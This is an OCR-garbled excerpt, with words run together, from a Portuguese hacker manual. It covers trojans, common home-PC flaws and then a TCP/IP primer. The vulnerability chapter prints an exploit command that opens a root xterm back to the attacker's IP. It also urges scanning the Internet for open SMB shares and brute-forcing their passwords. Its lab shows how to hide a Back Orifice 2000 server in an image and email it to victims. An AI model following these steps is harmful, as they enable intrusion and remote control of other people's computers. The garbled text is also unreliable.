  • IUniversidadeH4CK3RI $ bindxplt vitima.com.br u/usr/XIIR6/bin/xterm -display 200.xxx.yyy.6:0u Comopor mágica,umajaneladeX-Terminalseabrenamáquinado hacker, quepossuio IP 200.xxx.yyy.6.Dentrodessajanela,o promptderootdamáqui- navitima.com.br.É a glória! Há milharesde exploitsquepodemserutilizados.Poderíamoscitaralguns aqui,masa quantidadeé realmenteassustadora.Sugerimosparara leiturado livronestepontoe navegarpor cadaumdossitescitadosabaixo.Tomeconhe- cimentodecomocadasitefunciona,baixealgunsexploitsdecadaume tente aplicá-Iosemsistemasvulneráveis. www.cert.org www.insecure.org www.rootshell.com www.securityfocus.com www.packetstormsecurity.org www.linuxsecurity.com www.linuxsecurity.com.br www.hackersplayground.org www.ntsecurity.nu www.antionline.com www.digitalsin.net/cyn/sinfinite www.cexx.org www.hackinthebox.org astalavista.box.sk Em Tróia, comoos gregos... Umavezcomacessoà linhadecomandonamáquinainvadida,umadaspri- meirasprovidênciasdoblack-haté instalarumbackdoor.Pormeiodele,o hacker podeentrare sairdocomputadorinvadidosemprequequiser.Masparainstalar a talportadetrás,a máquinaprecisaserprimeiroinvadida.Muitosachamque issodátrabalhodemais. Algunsespertospensaram:por quenãofazerospróprioslosersfacilitaremo nossotrabalho?Bem,vocêjátemo chãofértilparao nascimentodosprimeiros cavalosde tróia.Os trojans,comosãocomumentechamados,sãoprogramas executáveisquecontrolamtodasaspartesdocomputadore comunicam-secom o mundoexterior.Um hackerconecta-seao trojanpor meiode um backdoor embutidoepodecontrolaradistânciaamáquinainvadida.Em1998,maisde250 tiposdetrojansconhecidosjáestavamatuandonosmicrosdosmaisdesavisados, edesdeentão,essenúmerocresceumonstruosamente,chegandoa580em2000. Hoje emdia,toma-sedifícil encontrarum númerofiel, e mesmoos números apresentadosindicamapenasos trojansencontradose catalogados.Muitosain- dadevemandarpor aí comtrojanstãoantigosquantoindetectáveis... 146I VulnerabilidadesI [
  • Universidade1°ano A difusãodessetipodeprogramadá-seporcontágio.Ostrojans,emsuamaioria, sãodesenvolvidose distribuídoscomovírus,anexadosemmensagensdee-mail ou emdisquetespromíscuos,e muitasvezessãoescondidosemarquivosino- centes,comoimagens,apresentaçõesemFlashe joguinhos.Depoisqueapró- priavítimainstalouo trojan,o computadorinfectadocomeçaafuncionarcomo um servidor.Sehá um servidor,há um clienteparase conectar,queestáem poderdohacker.Aconexãoé praticamenteimperceptívelparao usuárioleigo, que,aoseconectarà Internet,estásujeitoaoataque. Dois dostrojansmaispráticosdaatualidadesãoo Netbuse o BackOrifice. Ambosocupampoucoespaçoemdisco(o BO temapenas120KB) e podem passardespercebidos,poisháa possibilidadedecamuflaro executávelescon- dendo-oemoutroprogramaou arquivo.Apósa instalação,o trojanapagaseus rastrose torna-seativo,aguardandoapenasquealguémseconecteaocomputa- dorinfectado.Comoqualqueroutrotrojan,o BOe o Netbussãoconstituídosde doisarquivos:o clientee o servidor.Um dosprincipaisproblemasdeambosé queosservidoresestãorestritosàfamíliaWindows9.x,emboraexistamclientes BOparaWindowse Unix. Entreasfunçõescomunsa ambos,podemosdestacar: ~Fornecerum shellparao clientecomacessoirrestrito; ~Controlartodosos dispositivosde hardwaredamáquina; ~Gravarumaimagemdatelado computadorinvadido; ~Fazerexamesdarede,podendoobtersenhase outrasinformações; ~Gravarumarquivocontendoinformaçõessobretudoquefoitecladonomicro; ~Possibilitara aberturade janelasDOS remotamente. O BO e o Netbussãodoistrojansmuitovisados.Todosos antivírusconside- ram-noscomoameaçae impedemquesejaminstaladosno computador-desti- no.Aliás,um bomprogramaantivtrUsbarramaisde 90%dostrojansconheci- dos.Obviamentehámuitosoutrospor aíquenuncaconhecerãooutromestre alémde seucriadore,portanto,serãoimunesà maioriadosantivírus.Todo cuidadonessescasosé pouco. Ambosestãoincluídosno CD,e recomendamosquenossaredesimples(La- boratóriodeRedesI) sejausadaparatestá-Ios.Leiaadocumentaçãodeambos, familiarize-secomelese tentecontrolaroutrasmáquinas. A criaçãodebonsscannerse exploitsdemandaconhecimentosemprograma- çãoeTCP/IP.Paraconsegui-Ios,aanálisedecódigosalheiosé umbompontode partida.NosCDs,hádiversosexemplosemcódigo-fontedescanners,exploits e cavalosdetróia.DessenferrujeseusconhecimentosemDelphy/Kylix,PerIou C/C++e váemfrente.No períododedoisou trêsmesesserápossívelescrever seupróprioscanneremsualinguagemfavorita. 11471 ]VulnerabilidadesI
  • IUniversidadeH4CK3RI Asfalhasdesegurançamaiscomunsem microsdomésticos Apesarde nãosero alvopreferidodoshackers,os microsdomésticossão ótimoscomoáreadetreinoparaaquelesquequeremadentrarno universodas invasões.Geralmente,osusuáriosdomésticosutilizamalgumaversãodo sistema operacionalWmdows,umaverdadeiraorgiade falhasparaaplicarexploitse tes- tartrojans.Mesmoosusuáriosdeoutrossistemaspessoais,comolinux,FreeBSD ouMacOS(edoWmdows2000,queé relativamentesegurosecomparadoao98), nãoescapamdessestiposdeataque,poisnemsempredominamtotalmenteas característicase opçõesdesegurançaqueessessistemasoperacionaisoferecem. Apresentaremosaquiapenasalgumasdelas.Há muitosexploitsnosCDsque podeme devemserexperimentados,e asnovidadesemtermosdefalhassaem fresquinhasdiariamentenossitesespecializados.Paraummelhorestudo,é interes- santeprepararumamáquinaparaser"cobaia"e ligá-Iaemredecomsuaestaçãode trabalho,deondeosataquesserãooriginados.Instalediversossistemasoperacionais (Win98/Me/2k/XP,linux e FreeBSD- umporvezou todosemmulti-boot,a seu gosto)emandebrasa!Notequealgumasfalhasnemprecisamdeexploits... TCP SYN Scanningversus Windows 95 UmafalhagritantepresentenoWindows95 (masaparentementenãono 98 nemnoMe)é aincapacidadedelidarcompacotesSYN.Comoveremosnocapí- tuloRedes11,numaconexãoTCP/lP deverdadehátrêshadshakesbásicos.Quem pedeaconexãomandaumpacoteSYN,quemaceitaaconexãomandaumSYN/ ACK eficaesperandoumpacoteACK dosistemaquesolicitouaconexão. UmportscantipoTCP SYNnuncaenviaráo pacoteACK emrespostaa SYN/ ACK doWindows.IssofarácomqueoWindows95 congelepor algunsinstan- tesenquantoesperao pacote.Casosejafeitoum flood (enviode um grande númerode pacotessimultâneos)SYN,a pilhaTCP/lP doWindowstravae é apresentadaa famosa"TelaAzul daMorte"(BlueScreenof Deathou BSoD). Experimentefazê-Iocomonrnap/nrnapWinemsuamáquinadetrabalho,apontan- doparao IP damáquina"cobaia"erodandoo scancomaopçãoSYNStealthligada. Compartilhamentosem computadores Windows (SMB/CIFS) A configuraçãoincorretadoprotocoloconhecidocomoCommonInternetFile System(CIFS- anteriormenteconhecidocomo5MBou ServerMessageBlocks), quepermiteo compartilhamentodearquivosatravésderedes,podeexporarqui- voscríticosdo sistemaou atémesmopermitiracessocompletodosistema. 148I VulnerabilidadesI [
  • Universidade1°ano Usuárioscorporativoscostumamcompartilharseussistemasde arquivosem suarede.Ingênuos,ativamessaopçãotambémemcasa,esquecendo-sedeque estãodiretamenteconectadosà Internet.Comisso,abremasportasparaque oshackersfaçamo quebemquiseremcomseusarquivos.Umaconexãodeno- minada"null session"(semusuárioe senha)podepôr emrisco informações pertinentesao sistemae chavesderegistro. Scannersdevulnerabilidades(comoo jácitadoNessus)normalmenteprocu- rampor diversasportas,incluindoasportas135(TCP e UDP), 137(UDP),138 (UDP), 139(TCP) e 445(TCP e UDP). Casopelo menosduasdestasportas estejam(ou aparentemestar)ativas,o computadorapresenta-sevulnerávelà conexãopor compartilhamento. O procedimentoé bemsimples.Primeiro,useo Nessusparaprocurar,na Internet,máquinascom essasportasabertas.Anote todasque encontrar.No Windows,chameo InternetExplorerecoloqueo númeroIP damáquinavulne- rável,no formatoLAN Manager:\\IP.DA.VÍTIMA.AQUI.Senãohouversenha,os compartilhamentosserãomostrados- bastac1icarneles.Casohaja,um bom quebradordesenhaspor bruteforcedarácontado recado. J171:3 ~!iona:;' Caso estejaem uma máquinaLinux, podem-seusar os comandosdo pacote samba-c1ientspara tentara conexão, da seguinteforma: $ smbclient -L IP.DA.VÍTIMA.AQUI Provavelmenteserãopedidassenhaspara mostraros compartilhamentos.No- vamentedeve-serecorreraosquebradoresbruteforce paradescobriras senhas. 11491 I VulnerabilidadesI
  • IUniversidadeH4CK3RI SeainterfacegráficaKDE 3 estiverdisponível,pode-seusaro Konqueror.Escre- va na barra de endereços o IP da vítima da seguinte forma: smb:// IP.DA.VÍTIMA.AQUI/.OScompartilhamentosdevemserexibidos. Uma curiosidadesobreesse furodesegurançaé queoriginal- menteelenãoexistia!O Protoco- lo NetBEUI(antecessordo5MB/ CIFS) permitia o compar- tilhamentodearquivosnasredes LAN Manager,Windows for Workgroupse nos primeiros WmdowsNT.Sóqueo NetBEUI nãoeraroteávele,portanto,era impossívelquegrandesredesIP tivessemconectividadetotalpor meiodele.Pararesolverisso,a Microsoft estendeua imp1e- mentaçãodo NetBEUI.Batizada de 5MB,a novatecnologiaper- mitia o "empacotamento"dos pacotesNetBEUIno protocolo TCP/IP.Aconexãoentreasmáquinaserafeitapelasportas137e 139. Entretanto,"tunelar"o NetBEUIpelo IP permitiaqueo pacotefosseroteável nãosópelaredecorporativamastambémpelaInternet.Nessescasos,háduas opçõesparaasempresas:isolarcompletamentea redeinternada Internetou nãocompartilharnada,nunca.Já osusuáriosdomésticosnormalmentenãotêm o quecompartilhar(poisnãopertencemaredealguma)e devemmanteresse recursodesligado. IJiJIIilIiI li! J» I/ocêjUeasa fornece! umusuãrioeuma I!I!n". ,1713iRbet1! f\Íume dI> 1tW
  • Universidade1°ano ro depilhaouprogramascomunscompoderesderoot.Imagineumaestação detrabalhoLinuxcomosserviçosdeFinger,FTP eTelnethabilitados.O usuário nãoprecisadeles- porquea máquinadelenemé umservidor- e sequersabe queosserviçosestãoativados.Como comandofmger,umhackerobtémalista de usuárioscadastradosno sistema.De possedosnomesde login por brute forceou dicionários,consegueentraremumacontadeTelnete,umavezden- tro,podeexploraro sistemaàvontade. A correçãoparaestafalhaé simples:desliguetudoo quenãoforusar. BufferOverfLownosserviçosdeRemoteProcedureCaLL AindasobreUnix,algunsserviçosutilizam-sedasRPCs,quesão,simplificando a explicação,como se fossesyscallsexecutadasem outro computador.Por exemplo,umamáquinaUnixutiliza-sedoRPCparaaplicaro serviçodeNetwork File System(NFS)oferecidopor outramáquinaUnix. HáfalhasemimplementaçõesdeRPCquepermitemqueprogramassejamexe- cutadosno microinvadidoa partirdeum outrocomputadorremoto.Existem evidênciasdesuautilizaçãonosataquesDDoSqueocorreramnoanode1999. Laboratóriode Vulnerabilidades I A principalfinalidadedoslaboratórioséapráticadealgunsprocedimentosconside- radosessenciaisparaarotinadohacker.Administradoresdesistemadevemobservá- loscuidadosamente,poisdevemestarsempreatentosàstécnicasusadaseminvasões. Nesseprimeirolaboratório,vamosmanternossofoco na invasãode micros domésticos- sim,sim,coisadelammer.Mastemosdecomeçardealgumaforma, nãoacha?E qualseriaa melhormaneiraparaatingiresseobjetivo?A resposta estáentreartimanhasmaisantigasconhecidaspelohomem:O CavalodeTróia! Exatamenteisso!Comonahistória,umpresenteé usadocomoartificioparaa invasão.Vamosutilizaro métodoclássicodeenviodetrojansparaasvítimas.Na verdade,precisaremosdetrêsarquivosparacumprira tarefa:o servidor,quevai controlaro computadorinvadido,umprogramajoiner(usadoparaunir arqui- vos)e o cliente,instaladonamáquinado hacker,paracontrolaro servidor. Utilizaremoso BackOrifice2000,a novíssimaversãodeumdostrojansmais utilizadosno mundo.Comojá foi comentadoanteriormenteo programaé divi- didobasicamenteemduaspartes:clientee servidor.Parainstalaro servidor,é necessárioqueavítimarodeo executávelemseucomputadorsempercebero queestáfazendo.Mascomoissoé possível?Simples,vamosutilizarumpeque- no truquedeengenhariasocial:faremosusodacuriosidade.Emnossoexemplo, umaimagemcarregandoo servidordo B02k emsuasentranhas. Paracamuflarnossoagente,empregaremoso]oiner,umpequenoprogramaque 1151I 1 VulnerabilidadesI
  • IUniversidadeH4CK3RI possibilitaa uniãodedoisarquivosquaisquer.Umdelesobrigatoriamentetemde serumexecutável,queseráabertoantesdo segundo.Depoisdeterminado,o con- troleépassadoparao segundoarquivo;se fortambémumbinárioseráexecutado e,casosejaumarquivocomum,seráabertonoaplicativocorrespondente. Então,aostroianos!Recomendamoso BackOrifice2000,umdosmaisconhe- cidose práticosdaWeb,masvocêpodeescolherentreumacoleçãoenorme. Existemtrojansparapraticamentetodasasplataformas! Configurandoo servidor o servidordo BO precisaserpreparadoantesdainfecção,poisdependede plug-insparacadaumadas"maldades"a seremfeitas.Outrodetalhe:é necessá- rio informaraoprogramacomosecomunicarcomo hacker.Asopçõessão:por e-mail,IRC e mesmoICQ. A configuraçãoé simples.Rodeo B02K Configurator.Na telaque se apresenta, preenchaseusdados,a portana qualo servidordeve"escutar"e a formacomo eledevecontactá-Ioparainformarqueestá on-line.Háváriasopções,entreelasICQ, IRC e mesmoe-mail.ExisteaindaaPossi-Ia bilidadede defInir senhasparaa conexão, impedindoassimqueoutroshackersusem o seu BO. Nada que um brute force não resolva,entretanto. !:B02KSmer ConHgurat;on .. GJ:q.ê
  • Universidade1°ano Finalizadoesseprocesso,vocêobteráumar- quivohíbridoquepoderáserinstaladoemqual- quermáquina.Algoassim: I@]'EEP.WAV I@]ERRORVlAV I@]ICQ.WAV I@]JOIN.WAV ~JOINER.2II'!'I'I '.''1",.,.,2WlI 225~8 ~-- I@]INmWAV ~JOINEA1Iml,"D""m'nl~ ]9KB lEIJOINER.EXE Apósrecebera confirma- çãodequeo microrodouo servidor,é horade utilizar asfunçõesdocliente.A van- tagemdo BackOrificeé o seuambientegráficocapaz derodartodososcomandos semdificuldadealguma.En- tre os recursosdo BO,po- demosdestacaracriaçãode diretórios,movimentaçãode arquivose atéapossibilida- dedereiniciaro sistema. A grandemaioriadosjoinersfuncionadamesma forma.Algunsapenasemmodotexto,masemgeral assentençasde operaçãolimitam-seaosseguintes comandos(emDOS): C:\ >joiner (nomedo arquivoservidor)(nome do arquivoisca) C:\ >renjoin.f1lgoggles.exe Agoraésóescolheraspessoasquevãorecebero ser- vidoremandá-Iopore-mailscomassuntosinocentes. Porta dos fundos """ - Agora,é sóbrincarcomsuapresa. Happyhacking! Consideracõesfinais , I E óbvioque,nestecapítulo,apenasarranhamosa superfície- e nãomuito. Aconselhamosa parara leiturado livro,visitartodosos sitesaquiindicados, "brincar"comtodasasferramentasmostradase mesmotentarinvadiralguns computadores,semprecomautorizaçãodavítima.Demorenessesprocedimen- tose descubravocêmesmoos meandrosdesselabirintoescuro. 1153I ]VulnerabilidadesI
  • Universidade2°Ano: OcaminhodeumVoyager
  • Reei II Capítulo 'Minhaterratemcamposdefutebolondecadáveres amanhecememborcadospraatrapalharosjogos.Tem umapedrinhacor-de-bilequefaz 'tuim'nacabeçada gente.Temtambémmurosdebloco(sempintura,é c/aro,quetintaéamaiorfrescuraquandofaltamistura/, ondepousamcacosdevIdropraespantarmalaco. MinhaterratemHK,ARl5, M21,45e38(naminhaterra, 32éumapiada/.Assirenesqueaquiapitam,apitamde repenteesemhoramarcada.Elasnãosãomaisasdas fábricas,quefecharam.Sãomesmoédoscamburões, quevêmfazeraleijados,trazertranqüilidadeeaflição': Quinze cenas de descobrimento de Brasis, 1999, Fernando Bonassi
  • IUniversidadeH4CK3RI TCP!IP: O início No capítuloanteriorsobreredes,tratamosdosaspectosmaisbásicose de- senvolvemosum breveestudosobrealgunsdosprotocolosmaisutilizados. Talestudoserviuparaquepudéssemos,posteriormente,conheceralgumastéc- nicase procedimentossimplesde invasãoe fazerexperimentoscomalgumas ferramentas.Com o conjunto de informaçõesdos capítulos Redes I e VulnerabilidadesI, adicionadoaumpoucodepesquisanossitese livrosindica- dos,qualquerumjápodeconsiderar-seumscriptkiddiee levaracaboamaio- ria dosprocedimentossimplesde "owning"decomputadoresdomésticos. Agora a conversa é um pouco diferente.Veremosmais adiante (em Vulnerabilidades11e,posteriormente,nos capítulosfinais) métodosmais complexosdeataquea sites,empresase redesremotas,todospor intermédio da Internet.Comoa GrandeRedeé baseadana famíliade protocolosTCP/lP (ou seriao contrário?O TCP/lP foi criadopor causada Internet,afinalde contas...),seráelaavedetedestapartedo livro. Masseremos"malvados"comoTCP/lP. A maioriadoslivrosmostrao proto- colodeformaacadêmicaebem-comportada.Emnossosestudos,veremoscomo podemosdesfigurar,fraturare abusardele:um verdadeiroestuprodigital!A palavraé forte,masveráo estimadoleitorqueseaplicaperfeitamenteaocon- textoemqueé empregada.Paraoshackers,atecnologiaestáaíparaseresten- dida.Ou deturpada... Estecapítulonuncasubstituiráqualquerum dosexcelenteslivrose artigos especialmenteescritospararevelartodososmeandrose facetasdoprotocolo TCP/lP e suautilizaçãoprática.Esperamos,pelomenos,quesirvacomouma introduçãoparaessesrecursos.Após a leituradestelivro,recomendamosao leitorqueseaprofundeno estudodesseprotocoloe dastecnologiasderede baseadasnele.AlémdoslivrosdeAndrewTannembaume do Prof.GabrielTor- res(amboschamadosRedesde Computadores),já citadosváriasvezesno de- correrdo livro,recomendamosasseguintespublicações: ~ Projeto eArquiteturade Redes,deJ.F.Dimarzio; ~ IntemetworkingcomTCP/IP, deDougComer; ~AprendaTCP/IP em 14 dias,deTim Parker; ~Administraçãode redesTCP/IP, de CraigHunt; ~ TCP/IP Illustrated,volume1, dew: RichardStevens. Na Internet,háexcelentesrecursosemportuguêsdisponibilizadospor pes- quisadoresdeuniversidadesbrasileiras,empresasdosetoresitesespecializados. AlgunsbonstrabalhossobreredeseTCP/lP querecomendamos: ~ApostilaTCP/IP de CCUEC(www.dicas-l.unicamp.br/freinamentos/tcpip); ~NotasdeAulaTCP/IP,deRicardoUeda,InstitutodeMatemáticae Estatís- tica daUSP (www.ime.usp.br/-ueda/ldoc/notastcp.html). 1158 1 Redes II [
  • Universidade2°Ano E,eminglês,recomendamos: ~TCP/IP Tutorial and Technical Overview, IBM Red Books (publib-b.boulder.ibm.com/redbooks.nsf/portals/Networking); ~NetscapeOpen Directory (dmoz.org/Computers/Internet/Protocols). Há aindana Internet,diversosgruposde discussãosobreredes.Dois dos grupos,queos autoresnãosó recomendamcomotambémparticipam,sãoo Dicas-L,hospedadona Unicamp(www.dicas-l.unicamp.br)e mantidopelo competentíssimoRubensQueirozdeAlmeida,e o Redes-L,hospedadoe manti- do pelaFAPESP(listas.ansp.br/mailman/listinfo/redes-l). Porúltimo,sabemosquenoBrasilexistemdiversaspublicaçõesvoltadaspara o usuáriode informáticae o administradorderedes.Umalistadelas,também prestigiadaspelosautores,é: ~ In/o Exame ~ H4CK3R ~ Geek ~ Revistado Linux ~PC Brasil 051versus TCP/IP Continuandodeondeparamosno capítulo2,vamosanalisarmaisa fundoo formatoe o funcionamentode cadaprotocolo da famíliaTCP/IP, como os diferentesprotocolosinteragementresi e quaisastecnologiasenvolvidas.O TCP/lP é umacoleçãodeprotocolospresentenaInternet.Narealidade,ambas asentidadessãoa mesmacoisa.Assimcomoé impossíveldissociaro queé energiae o queématéria(E=mc2),nãohácomoprecisarseoTCP/lP foi criado paraser usadona Internet,ou se a Internetapareceuem decorrênciado TCP/lp.A históriado ovoe a galinha... O TCP/lP é independentedeplataforma.Suasespecificaçõessãoabertase livresderoyalties.Por issomesmo,acaboutomando-sede fatoo padrãodain- dústriamundiale,tambémporisso,éusadoparalevaracessibilidadeacomputa- doresdetodosostipose tamanhos,desdedispositivosdemãoatémainframes. A maiorpartedaspublicaçõescostumadizerquea famíliaTCP/lP preenche os requisitosde trabalhodascamadas3 a 4 do modelode referênciaOS!.A afirmaçãoé correta,masincompleta.Sabemosquecadaumadascamadasdo modelode referênciapode serimplementadacom um protocolodiferente, mesmoporquecadacamadaé independente.Assim,emteoriaé possívelfazer pacotesSPX (umaimplementaçãoproprietáriada Novell) seremtransporta- dospor pacotesIP,emvezdo IPX.Na prática,o quevemosé queos padrões abertosacabamsendoos comumenteusados,com rarasexceçõescomo o 5MB/ClFSdaIBM/Microsoft.Podemos,pois,montarumdiagramacontendoas setecamadasOSI e seusrepresentantesno"mundoreal": 1159 1 1 Redes 11
  • I UniversidadeH4CK3RI Camadasdos protocolosde rede Observe:naprática,háaplicativosquefazemasfunçõesdascamadas7,6 e 5. Comosãoaplicativosexternos,de implementaçãolivree querodamna área do usuário,considera-sequetodoselesestejamnacamadadeaplicação. Protocolo IP o burrodecargadapilhaTCP/lP é o protocoloIP. É atravésdepacotesIP (ou seja,quadrosdedadosmontadossegundoo protocoloIP) queasmensa- gensdasaplicaçõesserãotransportadasentreasdiferentesredes.O protocolo tambémdeflllecomoseráo esquemadeendereçamentoparaquecadamáqui- na tenhaum identificadorúnico em todasas redes.Tal endereçamentoé implementadocomnúmerosIP: umgrupode32bits,divididosemquatrogru- posdeoito(ouseja,quatrobytes)equeobedecemaodeflllidonoprotocoloIP. Atente,portanto,parao fatodequeprotocoloIP,númeroIP e pacoteIP não sãoa mesmacoisa! Nestelivro,falaremosexclusivamentedepacotesIP daversão4, conhecido comoIPv4.As exigênciasda Internetatualmente(notadamentedesempenho, segurançae principalmenteindisponibilidadede númerosIPv4) levaramao desenvolvimentodeumnovoprotocolochamadoIPv6,queestásendoutiliza- do naInternet2. 1160 1 Redes 11r Na prática 051 Exemplodeaplicação Aplicação Mail, NFS, HTTP, 5MB Aplicação Apresentação External DataRepresentation(XDR) Sessão RemoteProcedureCalls (RPC) TCP/UDP Transporte TCP/UDP IP Rede IP/ICMP Ethernet Conexão Ethernet Física Física Cabode par trançadocategoria5
  • Universidade2°Ano o pacoteIP As informaçõesvindasdascamadassuperiores(emnossocaso,TCP e UDP) devemserinseridasemum pacotede dadosparaque sejamtransmitidasse- gundoos procedimentosdefinidosno protocoloIP.Essepacoteé montado segundoummodelotambémdefInidonoprotocolochamadodeDatagramaIP. Um datagramaIP é umaseqüênciaserialdebytes,dosquaisos 20primeiros compõemo chamadocabeçalhoIP.A alusãoa telegramasnãoé cacofonia:um datagramaparece-serealmentecomseucolegade"carnee osso"(ou antes,de papele tinta): Osvaloresentreparêntesesindicamo tamanhodo campoembits.No início dodatagramatemoso campoversão.Comoo nomejádiz,eleindicaaversão do protocoloIP emuso.Possuiquatrobits,o quedaria16possibilidadesde versõesdiferentesdo protocoloIP.Entretanto,atualmentetemosapenasduas, IPv4eIPv6.O valorarmazenadoaíénumérico,portantoo IPv4seriarepresen- tadopelonúmerobinário0100,e o IPv6,por 0110. Observandoo cabeçalho,nota-sequeeleé formadopor linhasde32bitsde comprimento.O campotamanhode cabeçalho(InternetHeaderLengthou IHL) forneceo comprimentodo cabeçalhoemnúmerodepalavrasde32bits. Senãohouveropções,o valorválidoparaessecampoé cinco.Havendoop- ções,essevalorpodecrescerindefInidamenteparaacomodartodas. Os roteadoressãoequipamentosdotadosde certainteligência.Elessabem, por exemplo,qualdasrotasligadasa eleé maisbarataou maisconflável.O campotipo de serviço (Typeof Serviceou ToS)permitedaraosroteadores indicaçõessobrecomotrataro pacoteepor ondeenviá-Io.Possuiquatroflags: minimizar atraso,maximizar desempenho,maximizar confiabilidadee minimizarcusto.Baseadonessesflags,o roteadorvai encaminharo pacoteIP paraumadeterminadarota.A maioriadasimplementaçõesexistentes,entre- tanto,ignorasolenementeestecampo,portantoseuusopodenãosurtiro efei- to desejado. 1161I ]Redes11 Versão(4)I IHL(4) I TOS(8) TamanhoTotaL(16) Identificação(16) Flags(3)I FragmentOffset(13) TTL(8) I Protocolo(8) NúmerodeVerificação(16) EndereçoIPdeorigem(32) EndereçoIPdedestino(32) Opções(sehouver) IEnchimento Dados
  • IUniversidadeH4CK3RI o campotamanhototal guardao comprimentodo datagrama,embytes, englobandotodo o cabeçalhomaiso containerde dados.Na teoria,16bits poderiamindicarumtamanhodeaté65.535bytes.MasumpacoteIP de64KB é monstruoso.Naprática,o tamanhopadrãodospacotesé 576bytes.Depois quea conexãofor estabelecidae o sistemacertificar-sede quetodosos seg- mentosdocaminho- principalmenteo computadordestino- suportampaco- tesmaiores,essevalorpodesermodificado.Aliás,um dosmétodosmaisanti- gosdenegaçãodeserviço,ouDoS,eraforçaro enviodeumpacoteIP comum tamanhode64 kbytes.Seo destinonãoestivessepreparadoparaum pacote tãograndefatalmenteseriaderrubado.É o conhecidoPing of Death. Àsvezesé necessáriofragmentaro pacoteIP.Diversosmotivospodemobrigar umroteadoraisso.Umdelesérotearentreduasredescujacamada2 (datalink) tenhaimplementaçõescomtamanhosdepayloaddiferentes.Porexemplo,entre umaredeEthernet,quepossuiumMTA(maximumtransferunit) de1.500bytes paraumacélulaATM comcomprimentode 480bytes.O pacoteIP padrãode 576bytesnãocabenacélulaATM.Deve-sequebraro pacoteIP emdois,portan- to,paraquepossatrafegarnessenovomeio.Quando,ládooutrolado,ospacotes fragmentadossaíremdoATMemdireçãoaoutrosegmentoEthernet,devehaver ummecanismoquepossadesfragmentarnovamenteo pacote. O campoidentificaçãocarregaum númeroquereconheceo pacote.É na verdadeumcontadorcircular,poisquandoacontagemchegaem65535,retorna a zero.Casosejanecessáriofragmentá-Io,todasaspartescarregarãoo mesmo ID. Assim,é impossívelconfundi-Ioscomfragmentosde outrospacotes.O campoflagspossuitrêscontrolesqueindicamseumdatagramapodeou não serfragmentadoe se houvefragmentação.O deslocamentode fragmenta- ção(fragmentoffset)indicaaposiçãodaquelefragmentodentrododatagrama original,e é usadoparaa remontagemdo mesmo.Cadaunidadeno fragment offsetrepresentaumdeslocamentode64bitsno pacoteoriginal.Empacotes nãofragmentados,o valordessecampoé zero. Um doscamposmaisimportantesdo datagramaIP é oTIL ouTimeto Live. Indicao númeromáximode roteadorespelosquaiso pacotepode passar. Quandoo valorchegaa zero,o pacoteé descartado.Esseartifícioevitaque pacotesIP semdonovaguemindefInidamentepelaInternet. O campoprotocolo indicaqualprotocolodecamada4 nossopacoteIP está carregando- vejaa RFC1700.O númerode verificação(checksum)é, como vimosno pacoteEthernet(capítulo2, Redes1),umnúmerocalculadonaori- gemcombaseemtodosos dadosdo pacote.Essenúmeroé recalculadono destinoe, casosejamdiferentes,o pacoteé descartado.Notequeo recá1culo ocorrecadavezqueo pacotepassapor umroteador.Comoosdadosdocabe- çalhomudamduranteo caminho,o checksumé diferenteemcadasegmento pelo qualpassa. 1162I Redes11[
  • Universidade2°Ano Logoa seguir,temos,fmalmente,oscamposde endereço.Ambospossuem umcomprimentode32bits.Logoapós,temoso campoopções,quepodeter dezeroaváriosbytes.Dependendodonúmerodeopções,podeocuparvárias linhasde32bits.O campoenchimentopossuitamanhovariávele servepara garantirquea últimalinhado campoopçõestenhaum comprimentode 32 bits,garantindoassima consistênciado cabeçalho. Vamosescovarumpoucoosbits?SevocêtemacessoaalgumUnix,podemos vero conteúdodospacotesIP como comandotcpdump: # tcpdump -i -1 -n -x port 80 05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80: 6432 (DF) 4500 0034 3779 4000 4006 d53d 30f5 Ob03 0050 785c 8010 1920 c9b6 0000 0101 3dd4 f96b ack 357 win 3b65 cOa8 010b 4fcO 77aa ce8b 080a 0060 7aba Essecomandoanalisatodosospacotesqueentrame saemdamáquina.Você podeobservarqueo própriotcpdumpdecodificoualgumascoisas:horaem queo pacotepassoupelainterface(5h39),endereçosdeorigem(192.168.1.11) e destino(213.61.48.245)e algunsflagsdecontrole. Logoabaixo,emnotaçãohexadecimal,estãoos bytescorrespondentesao pacoteIP completo.Cadaalgarismorepresenta4 bits. Poderíamos utilizar, em vez do tcpdump, o programa Ethereal (www.ethereal.com).quetemversõesparaWindowse Unix e umabonitae funcionalinterfacegráfica.Os autoresrecomendamo excelenteEtherealpara diagnosticarpraticamentetodosos problemasenvolvendodesempenhoe er- rosemredesdecomputadores.Parao propósitodesteexemplo,entretanto,a saídado tcpdumpvaiservir. Penteandoumpouco,vemosqueo primeirodígitotemo valor4, ou seja, 0100.Estamosfalando,portanto,deumpacoteIPv4.O segundodígitoé 5,o queindicaquenossopacoteIP possuiumcabeçalhocomcincolinhasde 32 bits(ouseja,20bytesou ainda40algarismosdenossocabeçalho). Opa!Já sabemosquantotemosdecabeçalho.Separando-o,temos: 4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5 Escovandoosbitsmaisumpouquinho,podemosobservarque: ~Versão:4 ~IHL: 5,ouseja,20bytes ~TOS:00 ~Tamanhototal:0034ou 52bytes ~Identificação:3779 1163I ]Redes11
  • IUniversidadeH4CK3RI ~Flagse frn.gmentOffset:4000.Asflagsestãosetadascomo0100,indican- doqueo pacotepodeserfragmentadoe quenãohouve,ainda,fragmentação. Os outros12bitsestãozerados(nãohá fragmentação). ~TIL: 40,ou 64roteadores.Quandoo pacotechegarao64°roteadorserá descartado,a não serque o campoTIL sejareca1culadopor algumoutro roteadorno meiodo caminho. ~ Protocolo: 6. Cadaprotocolo de camada4 transportadopelo IP possuiumnúmeroqueo identifica.No exemplo,o número6 representaum pacoteTCP. ~ Checksum:3b65 ~ Endereçode origem:cO.a8.01.0b- ou,emdecimal,192.168.1.11 ~ Endereçodestino:d5.3d.30.f5- ou,emdecimal,213.61.48.245 EndereçamentoIP No capítuloRedesI,vimosalgunsfundamentossobrenumeraçãoIP.Naquela ocasião, dissemos que um número IP contém 4 bytes no formato: 000.000.000.000.Cadabyte,sendoumvalorde8bits,podeobviamenteconter umvalorentreOe 255,como,por exemplo,200.230.168.1.Nãodevehaver duasmáquinascom o mesmoendereçoIP emumamesmarede,pois seria impossívelrotearos pacotesatéo destinocorreto. Os númerosIP identificama interfacede umamáquinaqualqueremuma rede.Maisdo queisso,identificamemqualredeo nó estáconectadocaso váriasredesestejamligadasentresi.Paraverqualo númeroIP designadopara a suamáquina,abraumterminalou janelado DOSe dêoscomandosifconfig (no Linux),winipcfg(paraafamíliaWin9x)e ipconfig(paraa famíliaWinNT). No 